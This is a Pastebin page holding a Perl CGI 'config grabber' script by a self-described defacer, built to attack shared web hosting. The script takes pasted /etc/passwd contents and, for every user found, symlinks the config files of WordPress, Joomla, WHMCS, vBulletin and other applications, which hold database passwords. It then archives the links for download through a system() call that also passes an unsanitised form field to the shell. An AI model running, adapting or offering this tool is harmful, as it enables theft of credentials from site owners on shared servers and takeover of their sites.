Advertisement
ken7

Config Perl

Aug 7th, 2015
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.30 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. print "Content-type: text/html\n\n";
  3. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <meta http-equiv="Content-Language" content="en-us" />
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <title>kendri Config</title>
  9. <style type="text/css">
  10. .newStyle1 {
  11. font-family: Tahoma;
  12. font-size: x-small;
  13. font-weight: bold;
  14. color: #00FFFF;
  15.  text-align: center;
  16. }
  17. </style>
  18. </head>
  19. ';
  20. sub lil{
  21.     ($user) = @_;
  22. $msr = qx{pwd};
  23. $kola=$msr."/".$user;
  24. $kola=~s/\n//g;
  25. symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.'-shop.txt');
  26. symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt');
  27. symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt');
  28. symlink('/home/'.$user.'/public_html/members/configuration.php',$kola.'-members.txt');
  29. symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt');
  30. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'-forum.txt');
  31. symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt');
  32. symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt');
  33. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wordpress.txt');
  34. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wordpress-1.txt');
  35. symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt');
  36. symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt');
  37. symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt');
  38. symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt');
  39. symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt');
  40. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla.txt');
  41. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt');
  42. symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt');
  43. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt');
  44. symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'-whmc16.txt');
  45. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'-whmcs.txt');
  46. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
  47. symlink('/home/'.$user.'/public_html/configuration.php',$kola.'1whmcs.txt');
  48. symlink('/home/'.$user.'/public_html/submitticket.php',$kola.'-whmcs2.txt');
  49. symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-clients.txt');
  50. symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-client.txt');
  51. symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.'-clients.txt');
  52. symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt');
  53. symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.'-billing.txt');
  54. symlink('/home/'.$user.'/public_html/my/configuration.php',$kola.'-billing.txt');
  55. symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.'-billing.txt');
  56. }
  57. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  58.   read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  59. } else {
  60.   $buffer = $ENV{'QUERY_STRING'};
  61. }
  62. @pairs = split(/&/, $buffer);
  63. foreach $pair (@pairs) {
  64.   ($name, $value) = split(/=/, $pair);
  65.   $name =~ tr/+/ /;
  66.   $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  67.   $value =~ tr/+/ /;
  68.   $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  69.   $FORM{$name} = $value;
  70. }
  71. if ($FORM{pass} eq ""){
  72. print '
  73. <body class="newStyle1" background="http://widewallpaperhd.com/wp-content/uploads/2014/10/backtrack_carbon_wallpapers.jpg">
  74. <link rel="SHORTCUT ICON" href="http://files.softicons.com/download/internet-cons/world-flags-orbs-icons-by-vathanx/png/256/Flag%20of%20Indonesia.png">
  75. <script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script>
  76. <embed src="https://www.youtube.com/v/41_R0E3mqNg&amp;autoplay=1&amp;loop=1" type="application/x-shockwave-flash" wmode="transparent" height="1" width="1">
  77. <b>kendri config script</b><br>
  78. <b><font color="#00FF00">[!]</font> Coded By kendri <font color="#00FF00">|</font> indonesia newbie defacer<span id="result_box" class="short_text" lang="en"><span style title>
  79. <font color="#00FF00">|</font></span></span> <a href="https://www.facebook.com/kendri.selamanya">
  80. <span style="text-decoration: none"><font color="#00FF00">Contact Me</font></span></a>
  81. <font color="#00FF00">[!]</font></b>
  82. <br>
  83. <br>
  84. <form method="post">
  85. <textarea name="pass" style="border:1px dotted #00FFFF; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF"  ></textarea><br />
  86. &nbsp;<p>
  87. <input name="tar" type="text" style="border:1px dotted #00FFFF; width: 212px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF; "  /><br />
  88. &nbsp;</p>
  89. <p>
  90. <input name="Submit1" type="submit" value="Get Config" style="border:1px dotted #00FFFF; width: 99; font-family:Tahoma; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; background-color:#0C0C0C" /></p>
  91. </form>';
  92. }else{
  93. @lines =<$FORM{pass}>;
  94. $y = @lines;
  95. open (MYFILE, ">atom.mota");
  96. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  97. for ($ka=0;$ka<$y;$ka++){
  98. while(@lines[$ka]  =~ m/(.*?):x:/g){
  99. &lil($1);
  100. print MYFILE $1.".txt ";
  101. for($kd=1;$kd<18;$kd++){
  102. print MYFILE $1.$kd.".txt ";
  103. }
  104. }
  105.  }
  106. print'<body class="newStyle1" bgcolor="#000000">
  107. <body class="newStyle1" background="http://widewallpaperhd.com/wp-content/uploads/2014/10/backtrack_carbon_wallpapers.jpg">
  108. <link rel="SHORTCUT ICON" href="http://files.softicons.com/download/internet-cons/world-flags-orbs-icons-by-vathanx/png/256/Flag%20of%20Indonesia.png">
  109. <script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script>
  110. <embed src="https://www.youtube.com/v/41_R0E3mqNg&amp;autoplay=1&amp;loop=1" type="application/x-shockwave-flash" wmode="transparent" height="1" width="1">
  111. <p>Sukses Coy :D</p>
  112. <p>&nbsp;</p>';
  113. if($FORM{tar} ne ""){
  114. open(INFO, "atom.mota");
  115. @lines =<INFO> ;
  116. close(INFO);
  117. system(@lines);
  118. print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
  119. <span style="text-decoration: none">Click Here To Download Tar File</span></font></a></p>';
  120. }
  121. }
  122.  print"
  123. </body>
  124. </html>";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement